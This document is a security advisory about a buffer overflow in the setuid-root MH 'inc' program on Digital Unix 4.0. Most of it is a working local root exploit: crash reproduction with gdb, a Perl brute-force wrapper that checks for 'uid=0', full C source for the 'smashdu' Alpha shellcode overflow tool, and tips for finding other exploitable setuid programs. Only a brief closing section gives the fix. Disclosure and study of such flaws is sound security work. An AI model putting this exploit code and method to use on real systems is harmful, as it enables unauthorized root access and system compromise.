COMMAND
/usr/bin/mh/inc
SYSTEMS AFFECTED
Digital Unix 4.0ABCDE
PROBLEM
Lamont Granquist found follwing. Previously Digital Unix has been
relatively immune to buffer overflow attacks due to the lack of
an executable stack in the 3.x versions. For the 4.0 versions the
stack was made executable -- likely for JIT compilers and maybe
programs that need GCC-like trampolines. This, of course, greatly
simplifies the coding of exploits. Lamont has actually written
shellcode and successfully exploited several programs on Digital
Unix 4.0. He managed to successfully exploit /usr/bin/mh/inc in
DU4.0D with patch kit #2. The exploit is belowe, but let's take
a look at following first:
# uname -a
OSF1 xxx V4.0 878 alpha
# head -1 /etc/motd
Digital UNIX V4.0D (Rev. 878); Fri Jan 15 10:19:07 PST 1999
# grep KITNAME /var/adm/patch/log/event.log
KITNAME>Patches for Digital UNIX V4.0D (DUV40DAS00002-19980717,17-Jul-1998:09:17:35)
# ls -l /usr/bin/mh/inc
-rws--x--x 1 root bin 73728 Dec 29 1997 /usr/bin/mh/inc*
# /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8400'` foo
Segmentation fault (core dumped)
# gdb /usr/bin/mh/inc core
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (alpha-dec-osf4.0), Copyright 1996 Free Software Foundation,
Inc...
(no debugging symbols found)...
Core was generated by `inc'.
Program terminated with signal 11, Segmentation fault.
[...snip...]
#0 0x6161616161616160 in ?? ()
(gdb)
More info will give us following:
alpha>> uname -a
OSF1 xxx V4.0 878 alpha
alpha>> head -1 /etc/motd
Digital UNIX V4.0D (Rev. 878); Tue Jul 7 08:39:27 EDT 1998
alpha>> ls -l /usr/bin/mh/inc
-rws--x--x 1 root bin 73728 Dec 29 1997 /usr/bin/mh/inc*
alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8169'` foo
Segmentation fault
alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8168'` foo
Illegal instruction
alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8167'` foo
Segmentation fault
alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8166'` foo
inc: usage: inc [+folder] [switches]
We see at 8168 a's we have overflowed the return address. In
normal situation how to come to that point. We use same generic
script as for at vulnerability, but as the size of the buffer
appears to depend on parameters such as the length of the person's
username and possibly other factors. The result is that we need
to wrap 'smashdu' in a little script to try different buffer
lengths and offsets into the stack. The script looks like:
#!/usr/local/bin/perl
$n=8175;
foreach $j (1..1000) {
foreach $i (0..7) {
$x = $n + $j;
printf("%d %d\n",$x,$i);
$cmd = "./smashdu 1013 $i $x /usr/bin/mh/inc +foo -audit %e foo";
open(S,"echo id | $cmd 2>&1|") || die "can't open pipe: $?\n";
while (<S>) {
if (m|uid=0|) {
print "got root with '$cmd'\n";
exit(0);
}
}
close(S);
}
}
exit(0);
When this script runs it typically looks something like the below.
It should run for awhile with no errors, then start throwing
faults then finally give the command line args to 'smashdu' which
will work. If it starts faulting immediately and then seems to
run forever, then try adjusting the starting number in the script
(8176) downwards. The output below is typical:
% ./doit
8176 0
8176 1
8176 2
8176 3
8176 4
8176 5
8176 6
8176 7
8177 0
8177 1
8177 2
8177 3
8177 4
8177 5
8177 6
8177 7
8178 0
8178 1
8178 2
8178 3
8178 4
8178 5
8178 6
8178 7
8179 0
sh: 20897 Memory fault
8179 1
sh: 20601 Memory fault
8179 2
sh: 20216 Memory fault
8179 3
sh: 20942 Memory fault
8179 4
sh: 20861 Memory fault
8179 5
sh: 20548 Memory fault
8179 6
sh: 20639 Memory fault
8179 7
sh: 20571 Memory fault
8180 0
sh: 20890 Illegal instruction
8180 1
sh: 20929 Illegal instruction
8180 2
sh: 20994 Illegal instruction
8180 3
sh: 17810 Illegal instruction
8180 4
sh: 20898 Illegal instruction
8180 5
sh: 20651 Illegal instruction
8180 6
sh: 430 Illegal instruction
8180 7
sh: 3621 Illegal instruction
8181 0
sh: 20760 Illegal instruction
8181 1
sh: 20832 Illegal instruction
8181 2
sh: 20920 Illegal instruction
8181 3
sh: 20933 Illegal instruction
8181 4
sh: 13099 Illegal instruction
8181 5
sh: 20179 Illegal instruction
8181 6
sh: 19680 Illegal instruction
8181 7
sh: 19839 Illegal instruction
8182 0
sh: 19824 Memory fault
8182 1
sh: 19901 Memory fault
8182 2
sh: 4701 Memory fault
8182 3
sh: 107 Memory fault
8182 4
sh: 19347 Memory fault
8182 5
sh: 20610 Memory fault
8182 6
sh: 20946 Memory fault
8182 7
sh: 19815 Memory fault
8183 0
sh: 19775 Memory fault
8183 1
sh: 20532 Memory fault
8183 2
sh: 20996 Memory fault
8183 3
sh: 20964 Memory fault
8183 4
sh: 20676 Memory fault
8183 5
sh: 31924 Memory fault
8183 6
sh: 20892 Memory fault
8183 7
sh: 20853 Memory fault
8184 0
sh: 20986 Illegal instruction
8184 1
sh: 15606 Illegal instruction
8184 2
got root with './smashdu 1013 2 8184 /usr/bin/mh/inc +foo -audit %e foo'
So, to get root with generic script, do following:
./smashdu 1013 2 8184 /usr/bin/mh/inc +foo -audit %e foo
The code:
/* smashdu.c
generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???)
Lamont Granquist
lamontg@hitl.washington.edu
lamontg@u.washington.edu
Tue Dec 1 11:22:03 PST 1998
gcc -o smashdu smashdu.c */
#define MAXENV 30
#define MAXARG 30
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <stdio.h>
/* shellcode = 80 bytes. as the entry to this shellcode is at offset+72 bytes
it cannot be simply padded with nops prior to the shellcode. */
int rawcode[] = {
0x2230fec4, /* subq $16,0x13c,$17 */
0x47ff0412, /* clr $18 */
0x42509532, /* subq $18, 0x84 */
0x239fffff, /* xor $18, 0xffffffff, $18 */
0x4b84169c,
0x465c0812,
0xb2510134, /* stl $18, 0x134($17) */
0x265cff98, /* lda $18, 0xff978cd0 */
0x22528cd1,
0x465c0812, /* xor $18, 0xffffffff, $18 */
0xb2510140, /* stl $18, 0x140($17) */
0xb6110148, /* stq $16,0x148($17) */
0xb7f10150, /* stq $31,0x150($17) */
0x22310148, /* addq $17,0x148,$17 */
0x225f013a, /* ldil $18,0x13a */
0x425ff520, /* subq $18,0xff,$0 */
0x47ff0412, /* clr $18 */
0xffffffff, /* call_pal 0x83 */
0xd21fffed, /* bsr $16,$l1 ENTRY */
0x6e69622f, /* .ascii "/bin" */
/* .ascii "/sh\0" is generated */
};
int nop = 0x47ff041f;
int shellcodesize = 0;
int padding = 0;
int overflowsize = 0;
long retaddr = 0x11fffff24;
void usage(void) {
fprintf(stderr, "smashdu [-e <env>] [-r <ra>] ");
fprintf(stderr, "shellsize pad bufsize <cmdargs>\n");
fprintf(stderr, " -e: add a variable to the environment\n");
fprintf(stderr, " -r: change ra from default 0x11fffff24\n");
fprintf(stderr, " shellsize: size of shellcode on the heap\n");
fprintf(stderr, " pad: padding to alighn the shellcode correctly\n");
fprintf(stderr, " bufsize: size of the buffer overflow on the stack\n");
fprintf(stderr, " cmdargs: %%e will be replaced by buffer overflow\n");
fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 ");
fprintf(stderr, "/foo/bar %%e\n");
exit(-1);
}
/* this handles generation of shellcode of the appropriate size and with
appropriate padding bytes for alignment. the padding argument should
typically only be 0,1,2,3 and the routine is "nice" in that if you feed
it the size of your malloc()'d buffer it should prevent overrunning it
by automatically adjusting the shellcode size downwards. */
int genshellcode(char *shellcode, int size, int padding) {
int i, s, n;
char *rp;
char *sp;
char *np;
rp = (char *)rawcode;
sp = (char *)shellcode;
np = (char *)&nop;
s = size;
if (size < (80 + padding)) {
fprintf(stderr, "cannot generate shellcode that small: %d bytes, ");
fprintf(stderr, "with %d padding\n", size, padding);
exit(-1);
}
/* first we pad */
for(i=0;i<padding;i++) {
*sp = 0x6e;
sp++;
s--;
}
/* then we copy over the first 72 bytes of the shellcode */
for(i=0;i<72;i++) {
*sp = rp[i];
sp++;
s--;
}
if (s % 4 != 0) {
n = s % 4;
s -= n;
printf("shellcode truncated to %d bytes\n", size - n);
}
/* then we add the nops */
for(i=0; s > 8; s--, i++) {
*sp = np[i % 4];
sp++;
}
n = i / 4; /* n == number of nops */
/* then we add the tail 2 instructions */
for(i=0; i < 8; i++) {
*sp = rp[i+72];
if(i==0) /* here we handle modifying the branch instruction */
*sp -= n;
*sp++;
}
}
int main(argc, argv)
int argc;
char *argv[];
{
char *badargs[MAXARG];
char *badenv[MAXENV];
long i, *ip, p;
char *cp, *ocp;
int c, env_idx, overflow_idx;
env_idx = 0;
while ((c = getopt(argc, argv, "e:r:")) != EOF) {
switch (c) {
case 'e': /* add an env variable */
badenv[env_idx++] = optarg;
if (env_idx >= MAXENV - 2) {
fprintf(stderr, "too many envs, ");
fprintf(stderr, "try increasing MAXENV and recompiling\n");
exit(-1);
}
break;
case 'r': /* change default ra */
sscanf(optarg, "%x", &retaddr);
break;
default:
usage();
/* NOTREACHED */
}
}
if (argc - optind < 4) {
usage();
}
shellcodesize = atoi(argv[optind++]);
padding = atoi(argv[optind++]);
overflowsize = atoi(argv[optind++]);
printf("using %d %d %d\n", shellcodesize, padding, overflowsize);
/* copy the args over from argv[] into badargs[] */
for(i=0;i<29;i++) {
if (strncmp(argv[optind], "%e", 3) == 0) { /* %e gets the shellcode */
badargs[i] = malloc(overflowsize);
overflow_idx = i;
optind++;
} else {
badargs[i] = argv[optind++];
}
if (optind >= argc) {
i++;
break;
}
}
badargs[i] = NULL;
if (optind < argc) {
fprintf(stderr, "too many args, try increasing MAXARG and recompiling\n");
exit(-1);
}
printf("putting overflow code into argv[%d]\n", overflow_idx);
cp = badargs[overflow_idx];
for(i=0;i<overflowsize-8;i++) {
*cp = 0x61;
cp++;
}
ocp = (char *) &retaddr;
for(i=0;i<8;i++) {
cp[i] = ocp[i];
}
/* here is where we actually shovel the shellcode into the environment */
badenv[env_idx] = malloc(1024);
genshellcode(badenv[env_idx++],shellcodesize,padding);
badenv[env_idx] = NULL;
/* and now we call our program with the hostile args */
execve(badargs[0], badargs, badenv);
}
To those who will try to play with exploits now, here's few notes:
- do the extra work to check with gdb to see if the program will
jump to the magic '0x6161616161616160' address -- if you can't
get this far then you aren't able to tweak the return address.
There's a lot of programs in digital unix that dump core and
stubbornly refuse to give a 0x6161616161616160 and without a
source license it's hard to figure out if they might be
exploitable with a bit more sophisticated attack. It may,
however, help to trim down the size of the argument that you're
overflowing with a bit.
- Please figure out what the size of the buffer is that you're
smashing by reducing your smashing argument to the smallest
size which gives an error. This goes along with the last
sentence above -- Get it as small as possible, then add about 24
(to hopefully make sure that you're hitting the RA -- try 40,
60, 100 if 24 doesn't work) and then look for the
0x6161616161616160. The binary search algorithm is your friend
for this step.
- Check to make sure that you can get values other than 0x61 ('a')
into the return address.
/usr/sbin/trpt -p `perl -e 'print "a" x 600' will give the magic
'0x6161616161616160' but the overflow bytes are restricted to
hex [A-Fa-F0-9] and you can't write shellcode that is that
restricted (and those restrictions on ra locations probably
makes it damn near impossible to exploit this one even if you
had that kind of shellcode).
SOLUTION
Anybody who is still using MH should pass over to nmh, which is
maintained:
http://www.math.gatech.edu/nmh/
For patch, take a look at:
http://ftp.service.digital.com/patches/public/unix/v4.0/ssrt0583u.README